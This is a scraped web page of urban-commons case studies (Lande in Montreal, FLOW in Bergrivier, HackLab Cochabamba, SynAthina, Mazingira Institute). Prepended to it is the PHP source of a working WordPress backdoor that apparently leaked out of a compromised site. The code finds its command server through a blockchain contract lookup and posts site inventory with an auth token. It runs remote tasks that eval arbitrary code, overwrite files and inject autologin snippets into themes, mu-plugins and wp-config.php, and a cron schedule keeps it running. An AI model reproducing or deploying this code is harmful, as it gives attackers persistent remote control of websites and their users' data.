// yi_s8 if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home/designan/public_html/wp-content/plugins/wp-helper-ac22ee/wp-helper-ac22ee.php', 'ctrl'=>'// yi_s8', 'vis'=>'// tj_pd', 'vis_func'=>'wp_ma27du', 'vis_paths'=>array('/home/designan/public_html/wp-content/plugins/wp-helper-ac22ee/wp-helper-ac22ee.php'), 'opt'=>'_wp_90vcagx5', ); $keys=array(); $keys['id']='e4p'; $keys['ver']='c9'; $keys['caps']='ygo'; $keys['tasks']='rq1'; $keys['interval']='pz4'; $keys['ack_id']='z9i'; $keys['ok']='ob'; $keys['detail']='6uo'; $keys['inv']='sva'; $keys['result']='yny'; $hdr='X-FPI-Auth';$tok='G4Vc2Cic-RJtt_WQ0HKVeUc2UX4RHXQsBIbLExdKOcg';$id='702db71d67d13573';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Case Studies | DesignForCommons
Lande -Montreal-

Lande -Montreal-

Image source: https://landemtl.com/portfolio/larpent-vert-demarche-citoyenne/
Country Canada
City Montreal
Name Lande
Date 2015

Description of the project

Lande collaborates with community organizations and individual entrepreneurs based on the shared responsibility principle. Lande members work along with multiple non-profit organization for the greening (Sentier urbain), but also also with Solon Collectif, La Pépinière, or the Centre d’économie urbaine. Local organisation “eco quartiers” provide for compost bins. The public sector is represented by the arrondissement and the city of Montreal.

The initiative developed into a business with people From its first year of existence in 2015, the purpose of Lande is to support citizens in the appropriation of vacant land in a three steps process “mapping, supporting, transforming”. The first tool provided is indeed a map online on which they can localize the land. When Lande sees a growing interest for one specific land, a billboard is installed on the vacant land to affirm the intention of appripriation. They put in relation designer and gardeners and others local structures/organisations with people to help them in accomplishing their idea and wishes. The role of Lande members, mainly volunteers, is to facilitate the process, delegating the tasks, providing tools, advising on the negociation process and adapting their support to each citizen/community/organisation specific request. Empowering is Lande’s key mission. Among the main roadblock faced are: the contact with private owners when the land is private is usually difficult as it appears necessary to gain his/her confidence (hence the preference for public land). They use many entry points to mobilise people, community gardens, community spaces more generally.

Urban Co-Governance Strong
Enabling State Strong
Pooling Strong
Experimentalism Moderate
Tech Justice Moderate
Website https://landemtl.com/
References, sources, contact person(s) Questionnaire,
Site https://landemtl.com/portfolio/larpent-vert-demarche-citoyenne/

Contact : info@landemtl.com

Montréal

 

Bergrivier – FLOW – Fostering Local Wellbeing

Bergrivier – FLOW – Fostering Local Wellbeing

Country South Africa
City Bergrivier
Name Flow
Date 2012
Description of the project The FLOW Project is currently going through a transition process from research project (it was born as a two-years project at Cape Town University) to independent entity, having as a main aim the facilitation of the “commons transition”. The project is active in three areas of SouthAfrica: the local Municipality of Bergrivier, the city of Kokstad and the suburb of Bo-Kaap. In Bergrivier, FLOW has developed the Climate Change Adaption Plan. The project involves the local unoccipied youth – the FLOW Ambassadors – to build individual and community capabilities in order to stimulate growth and to produce innovation in the fields of climate change, exploitation of resources and inequality
Urban Co-Governance Strong
Enabling State Strong
Pooling Moderate
Experimentalism Moderate
Tech Justice Moderate
Project Website http://www.flowafrica.org
References, sources, contact person(s) Interview to Anna Cowen and John Ziniades (co-founders of the FLOW project); website

info@flowafrica.org

Cochabamba – HackLab

Cochabamba – HackLab

 

 

Image source : http://hacklabcbba.org/
Country Bolivia
City Cochabamba
Name HackLab Cochabamba
Date 2012
Description HackLab is a digital hub in the city of Cochabomba, Bolivia.  Within this hub citizens are currently going through a process of installation and operazionalization of a community-free network: a wireless mash network that will allow the communities around it (between which schools, cultural centers, etc) to share resources and increase collective intelligence. The community network is based on principles of “openness”, participation, collaboration, cooperation and solidarity
Urban Co-Governance Weak
Enabling State Moderate
Pooling Weak
Experimentalism Weak
Tech Justice Strong
Project Website http://hacklabcbba.org/
References, sources, contact person(s) Interview to Daniel Cotillas (ética hacker for l’HackLab); website

http://ccmatienzo.com.ar/wp/wp-content/uploads/2015/06/CCM-CarpetaInstitucional2015.pdf

Other sources : http://barriohacker.net/
https://martadero.org/

to contact them : https://lists.riseup.net/www/subscribe/hacklabcbba

Cochabamba

Athens – SynAthina

Athens – SynAthina


Image credit : Logo and Screenshot(21/04/2022)from http://www.synathina.gr/en/
Country Greece
City Athens
Name SynAthina
Date 2013
Description SynAthina is a community platform based in the city of Athens, created for impuls of Athens Municipality, that connects, facilitates and supports citizens groups involved in the amelioration of the quality of life in Athens. Several tools are made available for citizens: the web platform, the SynAthina kiosk (meeting point) and thematic meeting. From its launch in 2013, SynAthina has hosted 2227 activities realized by 259 groups of citizens and institutions
Urban Co-Governance Weak
Enabling State Strong
Pooling Moderate
Experimentalism Strong
Tech Justice Strong
Website http://www.synathina.gr/el/
References, sources, contact person(s) Interview to Amalia Zepou (Athens deputy mayor, foundator of SynAthina); website

Facebook page : https://www.facebook.com/SunAthina/

Contact : info@synathina.gr

Athens

Nairobi – Mazingira Institute

Nairobi – Mazingira Institute

Source: Website http://mazinst.org/
Country Kenya
City Nairobi
Name Mazingira Institute
Date 1978
Description of the project Mazingira Institute works on interdisciplinary research and action in order to create knowledge and social change, and acts as a facilitator for the urban farmers’ organizations. The Institute covers several disciplines such as policy analysis, advocacy, political action and activism. As a part of civil society in Kenya, it gave its contribution to many legal, political and constitutional reforms.
Urban Co-Governance Moderate
Enabling State Moderate
Pooling Moderate
Experimentalism Moderate
Tech Justice Weak
Project Website http://www.mazinst.org/
References, sources, contact person(s) Mazingira Institute, Nairobi. Sources: Interview to Diana Lee-Smith and Davinder Lamba (co-founders of the Mazingira Institute); Website: http://www.mazinst.org/

Contact : info@mazinst.org

nairobi